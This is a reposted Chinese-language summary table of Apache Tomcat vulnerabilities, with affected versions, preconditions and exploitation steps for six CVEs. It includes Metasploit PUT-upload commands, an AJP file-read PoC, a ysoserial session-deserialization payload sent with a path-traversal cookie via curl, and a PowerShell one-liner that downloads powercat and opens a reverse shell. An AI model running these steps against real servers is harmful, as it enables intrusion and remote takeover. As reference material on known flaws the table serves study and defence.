tomcat漏洞匯總


 

ID
技術描述
利用場景/條件
過程
參考
武器庫關聯
ID
技術描述
利用場景/條件
過程
參考
武器庫關聯
S1 PUT任意文件上傳

(CVE-2017-12615)

  • tomcat 7.0.0~7.0.79
  • servlet上下文配置為readonly = false
  • 允許HTTP PUT請求

可以上傳任意文件,下面是使用msf利用該漏洞的一個示例:

msfconsole   -進入msf

search http_put   -查找該漏洞

use auxiliary/scanner/http/http_put    -使用該漏洞的exp

set filedata 'test put111'  -設置上傳文件的內容

set filename test1.txt -設置上傳文件名

set rhosts 192.168.234.138 - 設置遠程主機ip(靶機)

set rport 8080  - 設置遠程主機的訪問端口

run

在這里插入圖片描述

https://blog.csdn.net/weixin_41924764/article/details/109684870  
S2 遠程代碼執行(CVE-2019-0232)
  • 受影響版本

Tomcat 9.0.0.M1~9.0.17
Tomcat 8.5.0~8.5.39
Tomcat 7.0.0~7.0.93

  • Tomcat啟用了CGIServlet和enableCmdLineArguments參數
  • Windows平台
  • cgi-bin目錄下有bat后綴文件

執行代碼的方式是在/cgi-bin/xxx.bat 文件后面接執行參數即可,如下圖:

https://blog.csdn.net/helloexp/article/details/89377270

 
S3 Apache-Tomcat-Ajp漏洞(CVE-2020-1938)
  • 受影響版本:

Apache Tomcat 6

Apache Tomcat 7 < 7.0.100

Apache Tomcat 8 < 8.5.51

Apache Tomcat 9 < 9.0.31

  • 開啟了8009端口的ajp服務

執行poc腳本驗證漏洞:

 python ./ CNVD-2020-10487-Tomcat-Ajp-lfi.py 本地ip –p 8009 –f WEB-INF/web.xml  可以成功訪問文件。

 

 

https://www.cnblogs.com/twlr/p/12341569.html

 

S4 Tomcat Session(CVE-2020-9484)反序列化漏洞
  • 受影響版本

Apache Tomcat 10.0.0-M1—10.0.0-M4

Apache Tomcat 9.0.0.M1—9.0.34

Apache Tomcat 8.5.0—8.5.54

Apache Tomcat 7.0.0—7.0.103

  • 攻擊者能夠控制服務器上文件的內容和文件名稱
  • 服務器PersistenceManager配置中使用了FileStore
  • PersistenceManager中的sessionAttributeValueClassNameFilter被配置為“null”,或者過濾器不夠嚴格,導致允許攻擊者提供反序列化數據的對象
  • 攻擊者知道使用的FileStore存儲位置到攻擊者可控文件的相對路徑

下載ysoserial 一個生成java反序列化 payload 的 .jar 包

下載地址:git clone https://github.com/frohoff/ysoserial.git

執行下面語句生成 payload(這個payload應該需要生成到靶機上)

java -jar ysoserial-master-30099844c6-1.jar Groovy1 "touch /tmp/2333" > /tmp/test.session

在瀏覽器抓取首頁的包添加Cookie: JSESSIONID=../../../../../tmp/test

或者直接在環境中執行POC通過JSESSION加載惡意的session持久化文件

curl 'http://172.16.1.186:8080/index.jsp' -H 'Cookie: JSESSIONID=../../../../../tmp/test'

https://www.freebuf.com/vuls/245232.html  
S5

Tomcat反序列化漏洞(CVE-2016-8735)

  • 受影響版本:

Apache Tomcat 9.0.0.M1 to 9.0.0.M11
Apache Tomcat 8.5.0 to 8.5.6
Apache Tomcat 8.0.0.RC1 to 8.0.38
Apache Tomcat 7.0.0 to 7.0.72
Apache Tomcat 6.0.0 to 6.0.47

  • 外部需要開啟JmxRemoteLifecycleListener監聽的 10001 和 10002 端口,來實現遠程代碼執行

在攻擊機上:

下載ysoserial 一個生成java反序列化 payload 的 .jar 包

下載地址:git clone https://github.com/frohoff/ysoserial.git

java -cp ysoserial.jar ysoserial.exploit.RMIRegistryExploit 127.0.0.1 10001 Groovy1 "powershell IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1');powercat -c 192.168.10.11 -p 8888 -e cmd"

 

127.0.0.1 10001 是靶機的ip+端口

192.168.10.11 8888 是反彈shell的目標ip和端口

https://www.cnblogs.com/csnd/p/11807623.html  
S6

Tomcat本地提權漏洞(CVE-2016-1240)

  • 受影響版本:

Tomcat 8 <= 8.0.36-2
Tomcat 7 <= 7.0.70-2
Tomcat 6 <= 6.0.45+dfsg-1~deb8u1

  • 通過deb包安裝的tomcat
  • 需要重啟tomcat

 

  1. 上傳poc.sh文件到靶機
  2. chmod命令賦予文件執行的權限
  3. 執行文件,目標是catalina.out文件,等待重啟tomcat
  4. 重啟tomcat,可以看到成功切換到root用戶
https://blog.csdn.net/Fly_hps/article/details/79567605
S7          
S8          
S9          
S10          
S11          
S12          


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM